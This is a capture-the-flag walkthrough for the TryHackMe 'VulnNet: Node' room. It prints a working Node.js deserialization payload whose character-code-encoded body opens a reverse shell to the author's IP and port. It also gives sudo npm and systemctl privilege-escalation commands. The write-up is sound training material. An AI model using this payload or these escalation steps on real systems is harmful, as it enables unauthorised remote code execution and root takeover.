tryhackme: vulnnet: node [writeup]

Hey! 👋

Here’s my writeup for VulnNet: Node, an easy room on TryHackMe.


This is a very simple and easy room, which was a lot of fun.
We start by finding a web server that runs on port 8080. It is Node.js and uses the Express framework.
We see that it assigns us a session cookie. Knowing about deserialization attacks, we find out that it is vulnerable.
We exploit this vulnerability to get a shell on the box.
On the box, we can execute npm commands as a serv-manage user. With a quick look at gtfo-bins, we have our user flag!
For root, we simply edit systemctl files that we have write permissions to and they will run as root. After we inject our reverse shell, we successfully got a root shell back and got our root flag!



First of all, we’re running a simple nmap scan:

nmap -sS -sV -sC

  • -sS | TCP SYN port scan
  • -sV | Attempts to determine the version of the service running on port
  • -sC |Scan with default NSE scripts

We can see 1 open port:

8080 | HTTP

Let’s take a look at the website on that port:

Looks like a news website :)
If we click around on it and check the source code, we won’t find anything.
We have only 1 other visible page, which is the login.

When we try to log in and intercept the request, we see that nothing is transmitted because it is a GET request.

Looks like this is a dead end.


Let’s enumerate the directories with gobuster:

gobuster dir -u -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,json


Nothing too interesting, a look at the directories found tells us:

I have tried several HTTP requests with BurpSuite, but no luck.
This doesn’t look so good for us so far, we’ll have to keep looking at this.


Let’s take a look at the “session” cookie we have.
Looks pretty normal, nothing too interesting.

However, since we already have some experience and know about cookie deserialization attacks, we google for some vulnerabilities in Node.js.

Aaand we come across this blog post:


The blog post first explains how it works, and then we get to the “DIY” part.
They use for generating a reverse shell, so let’s use it too!

We specify our own IP and the port on which we want to intercept the reverse shell, then we copy everything after the “[+] Encoding”.

Now we follow the blog post and need to paste our generated shell into the following code:

{"rce":"_$$ND_FUNC$$_function (){generated shell here}()"}

It must look something like this:

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,57,46,53,46,50,52,49,34,59,10,80,79,82,84,61,34,57,48,48,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Then, intercept the GET request to the website:

Put our code into the cookie:

And base64 encode it:

To make life easier, send this request to the repeater tab.

Now we just setup a listener, listening on our chosen port:

And send the request:

And we successfully got a shell on the box!

User Flag

First, we upgrade our shell:

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Now we can go ahead and enumerate the machine.

I start off by checking which commands i can run as serv-manage while being www.

sudo -l

We can run npm commands.. interesting?
Let’s quickly check gtfo-bins for some npm entries.

And there we go!

At this point we just need to follow the above.

First, we navigate to a directory that we have write permissions to, such as /tmp.
Then we simply execute the following commands:

mkdir exploits
echo ‘{“scripts”: {“preinstall”: “/bin/sh”}}’ > exploits/package.json
sudo -u serv-manage /usr/bin/npm -C /tmp/exploits — unsafe-perm i

And we have a shell as the serv-manage user!
Now we can grab the user.txt located in the user’s home directory.

Root Flag

As before, I first check what commands I can run as root while I am serv-manage.

Very interesting. We can run a system service as root.
Let’s locate where vulnnet-auto.timer is:

locate vulnnet-auto.timer

Taking a look at the file,

we can see that it’s calling another file:


Let’s look at this one:


Hmmm… seems to be running a command.

And we have write access!

I transferred the file to my computer with netcat, modified it and then downloaded it again with cURL.

I just added a simple bash reverse shell:

Make sure you start a listener again on the port you specified.

Now, with the modified file on the box, let’s try to get it to run:

sudo -u root /bin/systemctl daemon-reload
sudo -u root /bin/systemctl stop vulnnet-auto.timer
sudo -u root /bin/systemctl start vulnnet-auto.timer


We got ourselves a root shell!
Now we can grab the root.txt located in the root directory.


We completed the room :)

This was a nice & easy room, that combined the basics of Enumeration, Cookie deserialization & Privilege escalation.

Feel free to leave feedback and read my other posts, you can find them here.